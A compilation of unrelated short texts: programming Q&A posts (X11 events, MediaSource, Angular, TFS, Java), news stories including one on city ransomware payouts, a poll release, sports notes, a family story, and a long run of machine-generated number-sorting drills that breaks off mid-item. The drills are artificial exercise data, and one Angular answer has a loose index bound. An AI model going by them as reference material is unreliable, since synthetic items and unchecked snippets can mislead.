withFullStacktrace == !output.contains(RUN_WITH_STACKTRACE)
where:
scenario | withFullStacktrace
'without full stacktrace' | false
'with full stacktrace' | true
}
def incrementWarningCountIfJava7(int warningCount) {
return JavaVersion.current().isJava7() ? warningCount + 1 : warningCount
}
boolean assertFullStacktraceResult(boolean fullStacktraceEnabled, int warningsCountInConsole) {
if (warningsCountInConsole == 0) {
output.count('\tat') == 0 && output.count(RUN_WITH_STACKTRACE) == 0
} else if (fullStacktraceEnabled) {
output.count('\tat') > 3 && output.count(RUN_WITH_STACKTRACE) == 0
} else {
output.count('\tat') == 3 && output.count(RUN_WITH_STACKTRACE) == 3
}
}
}
|
A Pen That’s More Than Meets the Paper
A digital pen. The device looks like a slightly plump ballpoint, and works like any ballpoint. But inside this gadget are a tiny camera and an optical sensor that record the pen’s motions as you write, and a microprocessor that digitizes the words, sketches and diagrams that the optics detect.
Read the whole article at the link above. This might be a really great device for adding to digital dental charts. |
Q:
How do I get events in the X window system without pausing execution?
I need to get events from the X window system without pausing the execution of my program. Currently, I use XNextEvent(dpy, &xev) to get the events, but is there way to get events and run my own code simultaneously?
A:
while (XPending(dpy))
{
XNextEvent(dpy, &e);
switch (e.type)
{
case Expose:
break;
// Manage events...
default:
break;
}
}
XPending(Display *display) : Return the number of events in the Queue for the associated display.
You can remplace XNextEvent(dpy, &e); by one of this functions, for get events only for specified Window / Mask or the two at same time :
XCheckTypedEvent();
XCheckTypedWindowEvent();
XcheckWindowEvent();
These 3functions are non-blocking.
For exemple, if you want to fecth event for a specified Window only, you can do :
while (XcheckWindowEvent(dpy, window, your_event_mask, &e))
{
switch (e.type)
{
case Expose:
break;
// Manage events...
default:
break;
}
}
PS : Sorry for my bad english
|
The driver of a Skoda car was sober, according to tests.
A 63-year-old Ukrainian citizen has died in an incident near the Shehyni-Medyka border checkpoint on the Ukrainian-Polish border.
The incident occurred at about 11:30 Kyiv time on March 29, the Polish news portal Nowiny24.pl reported.
Read alsoMost Ukrainian workers go to Poland for one-three months – survey
"According to preliminary information, a truck driver, a citizen of Ukraine, standing in a queue for customs clearance, decided to get out of the cab, but did not look back and got under the wheels of a Skoda car. A 22-year-old citizen of Ukraine was driving the car," the report says.
The police said the man had died from injuries. The driver of the Skoda car was sober, according to tests. |
Capello accuses critics of turning him into a monster
AP, LONDON
England coach Fabio Capello is confused by his sudden transformation from a “god” to a “monster” since his team faltered at the World Cup.
Preparing for European Championship qualifying, a combative Capello fought back against claims by pundits and columnists in England that he is a clueless coach lacking the tactical ability to turn the team into title winners.
Ahead of the World Cup, when the Italian presided over nine out of ten victories in qualifying, comparisons were being drawn with Alf Ramsey, who led England to their only world title in 1966.
However, the team was inert throughout the tournament in South Africa and went home after being outclassed by Germany in a 4-1 second-round loss.
Capello may have clung onto his lucrative England contract, which runs through to Euro 2012, but the hostile headlines have persisted as the team prepared for its first competitive match since the World Cup against Bulgaria last night.
The former AC Milan and Real Madrid coach accepts he is unable to control public perceptions of him, preferring instead to remember the past achievements before the media turned on him.
“You create the god, and you create the monster,” Capello quipped in broken English at a briefing on Thursday. “We lost one game in the World Cup against Germany after one big mistake for the referee [disallowing a goal]. You don’t remember this. I think so.”
“But after this, your opinion about me changed completely. You wrote a lot of things different, but I live with this situation,” he said.
“It’s no problem for me. I remember what you wrote about me a short time before this period. I live the same moment when you write well of me as when you write badly of me. It’s my job. You have to live with the pressure,” the Italian said.
Many critics have denounced the 64-year-old Capello for being a tactical dinosaur for rigidly retaining a 4-4-2 formation and FIFA’s tactical study of the tournament, which was released on Thursday, concluded that “the most successful teams were flexible and able to adapt their style of play to the match situation.”
Capello’s critics maintain that such flexibility is lacking in his game plan, but the coach hit back when a reporter started to ask whether the FIFA comments applied to England.
“You are a lot of managers, a lot of managers. I’ve read that,” Capello said. “Where is the different style? 9-1? Teams play 9-1.”
“Where is the different style? Is there a difference between 4-4-2, 4-5-1 or 9-1? You are happy to write different numbers. One forward, nine defenders. Five attacking? Five defending? That’s the modern style,” he said.
“You can see Barcelona, other teams. All the players have to defend, all the players have to go forward. That’s the modern style, and we played this style, always,” Capello said. “When you win you play the perfect style. When you lose you question positions on the pitch. Why, why, why? That’s good. It’s your job. It’s my job to find the best solution.” |
"The personal attention that I receive at HPU is unlike any other. Through small classes I have been able to establish life-long relationships with my professors. No matter if you're in a class with 25 students or a class with just 7 students, the professors ensure your success."
HIGH POINT, N.C., Feb. 5, 2013 – A new HPU Poll finds that more than one third – 37 percent – of North Carolinians say they are worse off than they were a year ago.
And many do not support the recent tax and health care policies coming out of Washington, D.C., with 57 percent saying that they think the tax deal passed to avoid the so-called fiscal cliff will hurt people like them, and 52 percent saying they do not favor the health care reform passed by Congress and signed by the president in 2010.
“Our results show that many North Carolinians are more pessimistic than they were at this time last year,” said Dr. Sadie Leder, associate director of the HPU Poll. A previous HPU Poll released March 2012 found only 15 percent of people who thought they would be worse off today, but today 37 percent say they are worse off than a year ago. “Not only are economic conditions worse than North Carolina residents had anticipated, but their outlook for the future is more negative.”
Economic condition questions – all adults
We are interested in how people are getting along financially these days. Would you say that you (and your family living there) are better off or worse off financially than you were a year ago?
Better off – 32 percent
Worse off – 37 percent
(Same or Neither better nor worse) – 29 percent
(Don’t know/refused) – 1 percent
Now looking ahead, do you think that a year from now you (and your family living there) will be better off financially, or worse off, or just about the same as now?
As you may know, a bill that makes major changes to the country’s health care system became law in 2010. Based on what you have read or heard about that legislation, do you generally favor or generally oppose it?
Favor – 37 percent
Oppose – 52 percent
(Don’t know/refuse) – 11 percent
Some people have said that parts of the health care law that require businesses to offer health insurance for their employees will cause some employers to lay off workers or change worker contracts to avoid providing insurance. Have you or someone you know been affected by the health care law in this way?
As you may know, Congress and the president have passed new legislation on taxes. From what you’ve read and heard, do you strongly approve, approve, disapprove or strongly disapprove of this tax legislation?
Strongly approve – 2 percent
Approve – 26 percent
(Neither approve nor disapprove) – 6 percent
Disapprove – 35 percent
Strongly disapprove – 18 percent
(Don’t know/refuse) – 13 percent
Thinking ahead, do you think this tax legislation will mostly help or hurt people like yourself?
“North Carolinians begin the year with a negative view of a lot of the policies they see coming out of Washington, D.C.,” said HPU Poll director Dr. Martin Kifer. “As economic conditions change and Congress and the president deal with additional budgetary challenges, we will be watching to see how North Carolinians react.”
The most recent survey was fielded by live interviewers at the High Point University Survey Research Center calling on Jan. 27-31, 2013. The responses from a sample of all North Carolina counties came from 668 adults with landline or cellular telephones. The Survey Research Center contracted with Survey Sampling International to acquire this sample. The survey has an estimated margin of sampling error of approximately 3.8 percentage points. The data are weighted when appropriate toward population estimates for cellular and landline telephone use, age, gender and race. In addition to sampling error, factors such as question wording and other methodological choices in conducting survey research can introduce additional error into the findings of opinion polls.
Further results and methodological details from the most recent survey and past studies can be found at the Survey Research Center website at http://src.highpoint.edu/
Dr. Martin Kifer, assistant professor of political science, serves as the director of the HPU Poll, and Dr. Sadie Leder, assistant professor of psychology, serves as the associate director of the HPU Poll. |
Q:
Updating objectURL in JavaScript
Suppose I am receiving data from a video chat and I need to add the data to the video element in the HTML page.
So here is the code:
var payload = []; // This array keeps updating, since it is getting the data from the network using media stream.
var remoteVideo = document.getElementById('remoteVideo');
var buffer = new Blob([], { type: "video/x-matroska;codecs=avc1,opus" });
var url = URL.createObjectURL(buffer);
remoteVideo.src = url;
Now, I am getting data in the buffer. How do I update the url i have created instead of creating a new one again to view the video?
A:
I think you might not need to update the url at all using MediaSource,the process goes like this:
Create a MediaSource Object.
Create an object URL from the MediaSource using createObjectURl
Set the video's src to the object URL
listen tosourceopen event and when it occurs, create a SourceBuffer instance.
Use SourceBuffer.appendBuffer() to add all of your chunks to the video.
But pay close attention to MediaSource limitations and considerations.
EDIT:
I found this Answer which explains the process described above more precisely and also points out the considerations you should take, and also an example.
|
Obispo cleared waivers after being designated for assignment and will remain in the organization. He holds a 3.80 ERA with 45 strikeouts over 45 frames at the Triple-A level this season. Thu, Aug 21, 2014 06:19:00 PM
Obispo was booted off the 40-man roster Wednesday to clear a spot for recently-claimed catcher Ramon Cabrera. Obispo, 29, has a cool 2.98 career minor league ERA. But control has always been a serious problem. Wed, Aug 13, 2014 05:10:00 PM
Pirates claimed RHP Wirfin Obispo off waivers from the Braves, optioned him to Triple-A Indianapolis.
Obispo was booted off the 40-man roster Wednesday to clear a spot for recently-claimed catcher Ramon Cabrera. Obispo, 29, has a cool 2.98 career minor league ERA. But control has always been a serious problem.
Obispo was added to the 40-man roster last November to protect him in advance of the Rule 5 draft, but he's a pretty marginal talent. The 29-year-old, who used to pitch in Japan, has a 4.66 ERA in 19 1/3 innings for Triple-A Gwinnett.
Obispo had a 3.00 ERA, 1.08 WHIP and 91/43 K/BB ratio in 96 innings this past season between Double-A Pensacola and Triple-A Louisville (affiliates with the Reds). He'll serve as organizational depth for Atlanta.
It had been reported that he would be designated for assignment to make room for Jean Segura to rejoin the roster, but it appears they have skirted the roster issue for the time being. Look for him to return at some point in mid-to-late June. |
Sort -0.3, -3/17, -16, 0.5.
-16, -0.3, -3/17, 0.5
Put 3, 0, -32, -2, -8 in descending order.
3, 0, -2, -8, -32
Put -109, 6, -5, 1 in decreasing order.
6, 1, -5, -109
Put -12, -4, 7, -2, 4 in decreasing order.
7, 4, -2, -4, -12
Put -1/6, 3/5, 2/7, -1 in descending order.
3/5, 2/7, -1/6, -1
Sort -2, 1, 5/6, -0.2, 0.1 in descending order.
1, 5/6, 0.1, -0.2, -2
Sort -13, -2, -1/8, 3 in decreasing order.
3, -1/8, -2, -13
Sort 5, 0, 14, 4, 1.
0, 1, 4, 5, 14
Put 0.4, 1, -2/13, 4, -2 in decreasing order.
4, 1, 0.4, -2/13, -2
Sort 1, 1/2, 22/9, 3.
1/2, 1, 22/9, 3
Put -300, 0, -0.1 in ascending order.
-300, -0.1, 0
Sort 2/7, 1, 1/6, -0.5, -3/8 in descending order.
1, 2/7, 1/6, -3/8, -0.5
Put 1, -4, -9, 3 in descending order.
3, 1, -4, -9
Sort 6, 2, -4/5, 3 in descending order.
6, 3, 2, -4/5
Sort 2, 4, 0, -5 in descending order.
4, 2, 0, -5
Sort 2/5, -335, 3/2.
-335, 2/5, 3/2
Put 2, 7, 4, 1 in ascending order.
1, 2, 4, 7
Put -0.2, 0.4, 65 in descending order.
65, 0.4, -0.2
Sort 5, 4, -3, -5.
-5, -3, 4, 5
Sort -1/52, 2, -3.
-3, -1/52, 2
Sort -320, 5, 6, -5.
-320, -5, 5, 6
Put -2/15, -13, 0.04 in descending order.
0.04, -2/15, -13
Sort 8, 1, 14, -24 in increasing order.
-24, 1, 8, 14
Put -6/95, -0.2, -8 in decreasing order.
-6/95, -0.2, -8
Put -482, 4, -2 in decreasing order.
4, -2, -482
Put 0, 2, -3/4, 5 in descending order.
5, 2, 0, -3/4
Put -2, 7, -4, 3 in increasing order.
-4, -2, 3, 7
Sort -2/3, 0.5, -7, -5, 0.05.
-7, -5, -2/3, 0.05, 0.5
Sort -2, -265, -8 in descending order.
-2, -8, -265
Sort 4, 16, 2 in decreasing order.
16, 4, 2
Put 4, -23, -2, -6, 0.3 in decreasing order.
4, 0.3, -2, -6, -23
Sort -14, 5, -2, 20 in descending order.
20, 5, -2, -14
Put 208, -5, 12 in descending order.
208, 12, -5
Put -2/29, 0.2, 5/3, -0.6, -2 in descending order.
5/3, 0.2, -2/29, -0.6, -2
Put 4, 0, 156 in ascending order.
0, 4, 156
Put 5, -14, 0, 3, 1 in decreasing order.
5, 3, 1, 0, -14
Sort -1, -0.2, 2, -20.
-20, -1, -0.2, 2
Put -2, 0.13, -2/3, 1 in increasing order.
-2, -2/3, 0.13, 1
Sort 5, 1, -2, 20 in ascending order.
-2, 1, 5, 20
Put -2, 0.14, -1/6, 0.3 in descending order.
0.3, 0.14, -1/6, -2
Put -4, 2, 0, 43 in ascending order.
-4, 0, 2, 43
Sort 1/80, 2/3, 2/5 in ascending order.
1/80, 2/5, 2/3
Put -1, -0.1, -1/2, 5 in descending order.
5, -0.1, -1/2, -1
Sort -2907, 5, -0.4 in descending order.
5, -0.4, -2907
Sort -0.5, -1, -0.05, 5, -6 in decreasing order.
5, -0.05, -0.5, -1, -6
Put 3, -134, -4, -5, -3 in descending order.
3, -3, -4, -5, -134
Put 8/5, -0.1, 3, -2 in descending order.
3, 8/5, -0.1, -2
Put 3, -43, -4, -2, 5 in descending order.
5, 3, -2, -4, -43
Put 5, -18, -8 in increasing order.
-18, -8, 5
Put -0.0413, 0.5, 2/15 in ascending order.
-0.0413, 2/15, 0.5
Sort -9, -1, 0.2, 3 in decreasing order.
3, 0.2, -1, -9
Put 4, 1, 2, -9, -4 in ascending order.
-9, -4, 1, 2, 4
Sort -2/3, -2/9, 7/6, -2/5, -0.1 in increasing order.
-2/3, -2/5, -2/9, -0.1, 7/6
Sort 5, -1, 0.2, 1/3.
-1, 0.2, 1/3, 5
Put 314, -0.5, -2/7 in decreasing order.
314, -2/7, -0.5
Sort 10, 3, 5, -2 in descending order.
10, 5, 3, -2
Put 6, 0, -115 in descending order.
6, 0, -115
Put -3, 2, -1/3 in decreasing order.
2, -1/3, -3
Sort 2, -2, 9, -3 in increasing order.
-3, -2, 2, 9
Sort 6, -5, 4 in decreasing order.
6, 4, -5
Sort -0.5, -0.7, -35 in descending order.
-0.5, -0.7, -35
Sort 4, -2, -19, 2/3.
-19, -2, 2/3, 4
Put 1, 4, 12, 5 in decreasing order.
12, 5, 4, 1
Put 0, -1, 3, -12 in ascending order.
-12, -1, 0, 3
Sort -3, -582, 8 in decreasing order.
8, -3, -582
Sort -2, 15, -3 in ascending order.
-3, -2, 15
Put -4, -91, 27 in ascending order.
-91, -4, 27
Sort 13/3, -2, 0.4, -0.2 in decreasing order.
13/3, 0.4, -0.2, -2
Sort -1, 0, 5, 3 in descending order.
5, 3, 0, -1
Sort 0.95, -3/2, -3/20.
-3/2, -3/20, 0.95
Put 4, 1, -7, -1 in decreasing order.
4, 1, -1, -7
Sort 72, -9, -4 in decreasing order.
72, -4, -9
Sort -1/6, -3, 0.4, -2, 2/9 in decreasing order.
0.4, 2/9, -1/6, -2, -3
Sort -3, 5, 2, -89 in ascending order.
-89, -3, 2, 5
Put -2/7, -2, -0.2, 68/7, 0 in decreasing order.
68/7, 0, -0.2, -2/7, -2
Sort -5/4, -0.3, 43, -12, 2 in descending order.
43, 2, -0.3, -5/4, -12
Put -2, -1/6, -1/39, -1/2 in descending order.
-1/39, -1/6, -1/2, -2
Sort 2/7, -4, -4/3, 1/2, 3/10.
-4, -4/3, 2/7, 3/10, 1/2
Put -5, 6, -1, -42 in decreasing order.
6, -1, -5, -42
Put 3, -17, -2 in decreasing order.
3, -2, -17
Sort -0.4, -2/11, -10.4, 1/2 in increasing order.
-10.4, -0.4, -2/11, 1/2
Put -3, 33, -2 in descending order.
33, -2, -3
Put -101, -12, -3 in decreasing order.
-3, -12, -101
Put -2/3, 1/4, -8/5, -3 in decreasing order.
1/4, -2/3, -8/5, -3
Put 0.14, -2/7, 5 in descending order.
5, 0.14, -2/7
Put 2, 5, 7 in ascending order.
2, 5, 7
Sort -190, -2, -5, 0 in increasing order.
-190, -5, -2, 0
Put -5, -129, -4, -1, 4 in ascending order.
-129, -5, -4, -1, 4
Sort 3, -3, 165, -5 in decreasing order.
165, 3, -3, -5
Put -4, -27, -0.02, -5 in decreasing order.
-0.02, -4, -5, -27
Put 33, -3, 8, 3, 1 in descending order.
33, 8, 3, 1, -3
Put -5, -1, -4, 3, 15 in decreasing order.
15, 3, -1, -4, -5
Put -2/7, -802, -4 in decreasing order.
-2/7, -4, -802
Put -1/2, -29, -4 in descending order.
-1/2, -4, -29
Put -9, -3, 2 in descending order.
2, -3, -9
Sort 19, -1, 0, 5 in increasing order.
-1, 0, 5, 19
Sort 1574, -5, 0.1 in decreasing order.
1574, 0.1, -5
Put 11, 0, 5 in ascending order.
0, 5, 11
Sort -2, 4, 2, 60, 0.
-2, 0, 2, 4, 60
Put 4, -5, 116 in decreasing order.
116, 4, -5
Sort 4, -4, -5, -3, -99 in descending order.
4, -3, -4, -5, -99
Sort -1, -7, -16 in increasing order.
-16, -7, -1
Sort 3, -5, -4, 1 in ascending order.
-5, -4, 1, 3
Put -5, 62, -4, 5 in increasing order.
-5, -4, 5, 62
Sort 0, 3, -2, 98 in decreasing order.
98, 3, 0, -2
Sort 86, 4, 7 in increasing order.
4, 7, 86
Sort 1, 3, 2, -5 in decreasing order.
3, 2, 1, -5
Put -32, 3, 2 in increasing order.
-32, 2, 3
Sort 3, -2, -34.
-34, -2, 3
Put -5, -1, 3, 8 in descending order.
8, 3, -1, -5
Put 1.455, 0, 4 in increasing order.
0, 1.455, 4
Sort -3, -4, 2, -2 in ascending order.
-4, -3, -2, 2
Sort -3, 51, 5 in descending order.
51, 5, -3
Sort -37, 4, -5, -6 in descending order.
4, -5, -6, -37
Sort -2, 5, 1, 156, -5 in descending order.
156, 5, 1, -2, -5
Sort 2, -4, 732, -5.
-5, -4, 2, 732
Put 0, 2, 3, 125 in descending order.
125, 3, 2, 0
Put 2, 1, 3, 5, 7 in decreasing order.
7, 5, 3, 2, 1
Put -11, 43, 3 in increasing order.
-11, 3, 43
Put 5, 0, 16, -4, -2 in decreasing order.
16, 5, 0, -2, -4
Sort 2, -9, 1 in ascending order.
-9, 1, 2
Put -1, 1, -3, 0 in decreasing order.
1, 0, -1, -3
Put -4, 2/27, 0.1, -1/8 in increasing order.
-4, -1/8, 2/27, 0.1
Sort -68, -4, 5, 3, 4.
-68, -4, 3, 4, 5
Put -4, -0.4, 0.5, 0.3 in descending order.
0.5, 0.3, -0.4, -4
Sort 0.16, -0.2, 8, -4.
-4, -0.2, 0.16, 8
Sort -0.3, 3/7, -3, 2.151 in descending order.
2.151, 3/7, -0.3, -3
Put -1/4, -5, 5 in increasing order.
-5, -1/4, 5
Sort -14, -4, -6, -5 in descending order.
-4, -5, -6, -14
Put 5, -692, 4 in descending order.
5, 4, -692
Put 0.03, 0.05, 4, -1 in ascending order.
-1, 0.03, 0.05, 4
Sort -53, -0.3, -3/2 in descending order.
-0.3, -3/2, -53
Put -2, -3, -292 in ascending order.
-292, -3, -2
Put -9, 5, 3/10, -4 in decreasing order.
5, 3/10, -4, -9
Sort 149, -2, 5 in decreasing order.
149, 5, -2
Put 2, 4, -32, 5 in ascending order.
-32, 2, 4, 5
Sort 1/5, -6, 4, 3/2, 4/9 in decreasing order.
4, 3/2, 4/9, 1/5, -6
Sort 1, 39, 10.
1, 10, 39
Put -5, -3, -1, -2, 1 in descending order.
1, -1, -2, -3, -5
Sort 5/11, 2, -0.4, 1, -5 in ascending order.
-5, -0.4, 5/11, 1, 2
Sort -0.5, 0.1, -11 in decreasing order.
0.1, -0.5, -11
Put -12, 0, 6, 5 in increasing order.
-12, 0, 5, 6
Put 1, -5, -11, 0 in descending order.
1, 0, -5, -11
Sort 2, -8, -5, 5, -4 in ascending order.
-8, -5, -4, 2, 5
Put -6, 1, -4, 19, 5 in increasing order.
-6, -4, 1, 5, 19
Sort -5, -19, -2/17 in descending order.
-2/17, -5, -19
Sort 2, -5, -1, -0.3 in decreasing order.
2, -0.3, -1, -5
Sort -3, -5, -46, -4 in decreasing order.
-3, -4, -5, -46
Put -5, 0, -4, 12 in descending order.
12, 0, -4, -5
Sort -5, 0.01, 2, 5.
-5, 0.01, 2, 5
Sort 0.1, -2, 48, -2/13 in descending order.
48, 0.1, -2/13, -2
Sort -2/11, 2/595, -2, -3.
-3, -2, -2/11, 2/595
Sort 4, -4/13, 2/7, 3/2, -0.19 in ascending order.
-4/13, -0.1 |
Q:
duvida com json
tenho um json, no meu formulario tenho um botao "Proximo" e "Anterior", eu preciso criar um codigo que mostre o proximo ou o resgistro anterior, conforme clica nos botoes, estou usando angular, alguem poderia dar uma dica de como poderia ser esse codigo ?
json
[{
"Type": "Debito",
"Date": "01/11/2016",
"TransactionValue": 371.6,
"Id": "388354",
"Description": "ENVIO TEV",
"Checksum": 388354,
"lancado": "Não"
}, {
"Type": "Debito",
"Date": "01/11/2016",
"TransactionValue": 148.0,
"Id": "389749",
"Description": "ENVIO TEV",
"Checksum": 389749,
"lancado": "Não"
}, {
"Type": "Debito",
"Date": "04/11 /2016 ",
"TransactionValue ": 508.2,
"Id ": "33531 ",
"Description ": "PAG BOLETO ",
"Checksum ": "33531",
"lancado ": "Não "
}]
nao consegui ajustar o json aki, aki tem uma imagem
A:
No controller vc seta o atual = 0
Supondo que sua lista esta numa variavel chamada registros
<div class="local_exibicao_dados">{{registros[atual]}}</div>
<a ng-click="atual--" ng-show="atual > 0">Anterior</a>
{{atual}}
<a ng-click="atual++" ng-show="atual < registros.length">Próximo</a>
|
Atlanta Mayor Keisha Lance Bottoms waits to speak at the Atlanta Press Club luncheon, Tuesday, June 18, 2019, in Atlanta. Andrea Smith | AP
City governments are under assault from ransomware, malicious software that infects entire computer networks, freezing up important files and equipment until the organization pays for a key to unlock the information. Baltimore and two cities in Florida have fallen victim to ransomware in recent weeks, and Atlanta's mayor advocated for more federal help in protecting against ransomware in Congress Tuesday. Atlanta and Baltimore are each spending spend millions on the clean-up from their attacks. In Florida, Riviera Beach paid $600,000 and Lake City almost $500,000 to get their data unlocked, according to representatives from those cities. Cities may have been caught off guard by the attacks, but corporations have been quietly battling the problem for years. These attacks have given the public the opportunity to examine the problems associated with ransomware, where corporations -- not obligated to disclose these attacks -- have mostly handled them behind closed doors. These issues include the moral objections to paying off criminals, the practical risks of not paying and the lack of federal support to help mitigate risk.
A young crime is growing up
Ransomware was little known before 2014, when some of the first, very rough versions of the malicious software began circulating more widely through corporations. It took criminal organizations about a year to refine their approach and make the attack style ubiquitous across corporations. According to FBI statistics, ransomware was an almost immediate success, and incidents exploded in late 2015 and through 2016. It's continued rising steadily, with criminal organizations further refining their techniques to target the most valuable data and pull higher payouts, according to Molly Arranz, a partner in the data privacy, security and litigation practice group at law firm Smith Amundsen. In the early years of ransomware, organizations were skeptical of paying, Arranz says, because they weren't sure the criminals would provide the necessary keys to unlock the files. This changed as some criminal enterprises gained a reputation for "reliably" providing the right keys, making it possible for companies to do a more practical risk-benefit analysis, and in some cases, for insurance companies to pick up the cost, she said. Arranz said the $600,000 paid by Riviera Beach was a lot, but that six-figure ransoms are not uncommon. There even have been rumors of seven-figure payouts in recent years, she said, but only one confirmed case: a South Korean internet service provider in 2017. "The companies that are paying the ransom amount, if they don't pay for it, that information is lost forever," she said. "Therefore, it's money well spent." As cities pay these larger ransoms, criminals will get new insight into how to extract the maximum dollar value out of their attacks, said Mark Orlando, chief technology officer of defense industrial company Raytheon's Cyber Protection Solutions group. "We definitely can expect more high-dollar payouts," said Orlando. "Ransomware is, by far, much more lucrative today. It's become commoditized, and you can get a pre-built, customizable toolset for it. It's a tried and true business model. [Criminals are] asking for the maximum amount that they think the victim will pay before they try to just go and rebuild the network on their own. They've reached a new high-water mark."
The moral, practical and reputational hazard
Lake City mayor Stephen Witt told a local news station Wednesday: "I would've never dreamed this could've happened, especially in a small town like this." His surprise may seem unepected, given the boom in ransomware. But the topic has stayed quiet until recently because private businesses aren't required to report them to shareholders or regulators. "That's why you're not hearing of more of these, and it's not because companies are hiding the ball," Arranz said. "They're complying with what's legally required of them." Companies have strong incentives to keep the attacks private. At best, any organization that pays a ransom or negotiates with those making demands is dealing with criminals. At worst, they could be making a blind payoff to a rogue nation-state like North Korea or a terrorist group. The FBI has traditionally given blanket warnings not to pay ransoms. But if organizations don't pay, they're betting that customers will stick around through days or weeks of downtime while they rebuild, Orlando said. That's a risky calculation. Having back-ups that work, or segmented networks -- built so parts of the network can be cordoned off from the wider network in the event of an attack-- can help, but even these tactics are limited in their effect, Orlando explained. "On the enterprise side, some equipment is purpose-built to do certain things. Equipment -- especially in health care and manufacturing -- those are not just files that are stored somewhere else that you can replace, like you replace the data you backed up on your cell phone. Back-ups aren't silver bullets, in terms of time loss and service loss," Orlando said.
Looking for support, but not finding it |
Q:
How to Perform a TFS get to a supplied or current directory path, ignoring workspace settings
I am using TFS 2010 and writing a script to enable a simple get of specific version label of our software. Since this is only a simple get, is there anyway to just perform a get without having to use the current workspace settings or change the workspace settings to the desired path? There is no reason to link the files to CM after the get, so I have no reason to preserve this 'workspace'. I just want to be able to create a directory anywhere I want and get TFS to give me a copy of the current version labeled files at the current directory, or to a directory I supply 'on the fly'. There seems to be no way to seperate a simple get from the project workspace settings. Am I missing something or am I forced to cloak or change workspace settings before the get?
A:
You'll need a workspace to do a get, but it need not be the same workspace that you're using for Visual Studio. In fact, you can just create a simple throwaway workspace, for example:
# {{Server}} is http://server:8080/tfs/DefaultCollection; for readability.
tf workspace /new temp_workspace /collection:{{server}} /noprompt
tf workfold /map $/Project/Project C:\Build\Project
tf get C:\Build\Project /recursive /noprompt
tf workspace /delete temp_workspace /collection:http{{server}} /noprompt
Note that the TFS SDK does provide mechanisms to do a download of an Item without needing to create a workspace, so you could write a program to do this, but it would be a fair amount of code to avoid creating a workspace which is, ultimately, a fairly inexpensive operation.
|
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Note - most stories are fictional and do not refer to anyone in particular living or dead. True stories will say they are true!
New FREE e-book: The Old Man and the Widow
Pages
Saturday, December 29, 2012
THE BEST OF THE WORST OF TIMES Chapter 5
Grandpa's Solution !!
After mulling over how to see
his daughter and grandkids he finally figured out what to do.
He sent word he was coming to
get them - so pack up and be ready to leave.
A few days later he drove up
in a pickup truck with a camper shell on it. He told them to just take their
clothes, and leave the rest for he was going to set them in a house in California and would
supply the furniture and everything else they needed. They didn't take too long
to load up, and they were off.
Grandpa, daughter and George
were in the front seat and seven kids in the back with the clothes.
They drove straight through
and arrived in four days. When they reached the house he had prepared for them,
it wasn't much better than the one they left with the exception it had
electricity, water and an inside toilet.
He gathered up a few more
necessities and they were moved in.
Free Clip Art
After
being penned up in the back of that truck for four days the kids were wild when
let loose. These kids being raised in the country secluded from much
interaction with other kids for the most part were not what the grandmother
expected.
They were not the sweet cuddly
kind and after the first meeting, Grandma wanted no more contact with them.
One of George's relatives came
and filled their pantry and ice box with staples and two bags of fruit, and as
they were leaving the kids were out in the yard throwing the apples and oranges
at each other.
The bags of fruit were
expensive to the relatives, but the kids just dumped it out and wasted it. The
relatives who brought it over were short on money themselves and had to
sacrifice to pay for the boxes of food given and, needless to say it was the
last time they did that.
George had almost no money,
and had to get a job but he had farmed most of his life and the only job he
could get was at an auto dismantling yard where he was always having to lift
unwieldy heavy objects. It was hard work but something he could do.
The grandfather made this
statement to George while on the way to California
“with all these kids if you are smart you can become a rich man."
He was thinking back on how
he put his kids to work and took all their money. While one might disagree with
his tactics the one good thing he did was to help his boys to get established
with homes after they were married.
He felt the parents of his
girl’s husbands should do likewise and he wasn't as generous with them.
As time went by more kids
were born and finally they totaled thirteen.
George could no longer take
care of them so the county supplemented his income. It was akin to Bedlam in
the home with all the noise generated by the fussing and fighting among the
kids.
George finally took to drinking as
an escape mechanism, but drink and the hard work finally took him down.
He went to the county
hospital and his strength slowly ebbed away. Several of his relatives were
Christians, and they had discussed becoming a Christian with him but under the
circumstances he was in it didn't seem possible.
There was a black Christian
man who worked in the hospital that ministered to him and after a lifetime of
living in darkness the light of the gospel flooded his soul, and for the first
time in his life he had real joy in his soul. |
The federal court has rejected the claim Peter Dutton’s ministerial decisions in the 45th parliament can be challenged based on his alleged constitutional ineligibility, dismissing the idea as “purely hypothetical”.
On Wednesday Justice Jennifer Davies upheld a challenge against a decision of the home affairs minister to cancel a humanitarian visa because he did not separately consider Australia’s non-refoulement obligations, but rejected the suggestion his former interests in childcare centres could threaten the validity of his decisions.
Dutton says AFP must take extra steps before launching raids on the media Read more
The judgment appears to close off an avenue pursued by Labor to question the validity of past ministerial decisions where the alleged constitutional ineligibility is yet to be proven, potentially saving hundreds of Dutton’s migration decisions from challenge.
In the last parliament, Dutton was revealed to have interests in childcare centres that received federal subsidies, arguably in breach of the ban on indirect pecuniary interests in an agreement with the commonwealth.
Dutton received advice from the solicitor general that he was eligible to sit in parliament but ditched the interests before the 2019 election and never came under direct constitutional challenge.
But in a federal court hearing just a day before the election the applicant known as FQM18 claimed that Dutton’s decision to revoke a global special humanitarian visa was invalid in part because “he was not constitutionally permitted to act as a minister”.
Section 64 of the constitution says no minister of state shall hold office for a longer period than three months unless he is or becomes a senator or a member of the House of Representatives.
The applicant sought a stay until the high court could consider if Dutton was eligible.
Justice Davies noted that when Dutton made his decision parliament had been prorogued and his eligibility had not been referred to the court of disputed returns, concluding it was “not appropriate to grant a potentially indefinite stay on the basis of a purely hypothetical sequence of events”.
“A fundamental difficulty with the applicant’s argument is that the relief sought is as against the minister in his ministerial capacity, rather than as against the minister personally,” she said.
Sign up to receive the top stories from Guardian Australia every morning
“Even if a referral of the minister to the court of disputed returns resulted in the removal of the minister from parliament, it is far from clear that the minister’s impugned decision would be invalidated insofar as the decision was made in the apparent execution of his office.”
Justice Davies cited a majority of the high court in Cassell v The Queen which appeared to support “the principle of the common law that where an office exists but the title to it of a particular person is defective the ‘acts of a de facto public officer done in apparent execution of his office cannot be challenged on the ground that he has no title to the office’.”
Nevertheless, Justice Davies upheld the appeal on the basis Dutton had conflated the criteria for the grant of a protection visa under the Migration Act with Australia’s non-refoulement obligations under international law. |
Q:
iterating over map and array simultaneously in a for loop
I am having some trouble creating a for loop within a constructor to iterate over a map and an array at the same time. Here, it is indicated that this cannot be done with an enhanced for loop.
I have something like this, which raises a compiler error. Basically, the class has a Map which I want to populate via the constructor which takes a collection and a variable number of integers as parameters.
The var-arg expression evaluates to an array of integers, so I tried to put both enhanced iterators in the same loop, but didn't work.
private final Map<Module, Integer> modules = new HashMap<Module, Integer>();
AssemblyType(Collection<Module> modules, int... units) {
int i = 0;
for (Module module : modules, int i : units) {
this.modules.put(module, units[i]);
}
}
